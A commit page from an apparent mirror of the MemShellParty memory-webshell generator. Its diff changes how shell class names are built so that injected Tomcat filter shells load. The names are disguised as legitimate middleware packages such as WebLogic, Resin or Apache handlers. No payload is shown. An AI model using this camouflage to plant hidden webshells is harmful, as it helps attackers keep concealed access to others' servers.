mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
This commit is contained in:
@@ -24,6 +24,5 @@ public class ShellToolConfig {
|
||||
/**
|
||||
* shellClass 的类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String shellClassName = CommonUtil.generateShellClassName();
|
||||
private String shellClassName;
|
||||
}
|
||||
@@ -76,12 +76,10 @@ public class CommonUtil {
|
||||
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||
case Resin -> "com.caucho.server.dispatch.handlers";
|
||||
case BES -> "com.bes.enterprise.webtier.web.handlers";
|
||||
default -> "org.apache.catalina.web.handlers";
|
||||
default -> "org.apache.http.web.handlers";
|
||||
};
|
||||
return packageName
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + getRandomString(5)
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user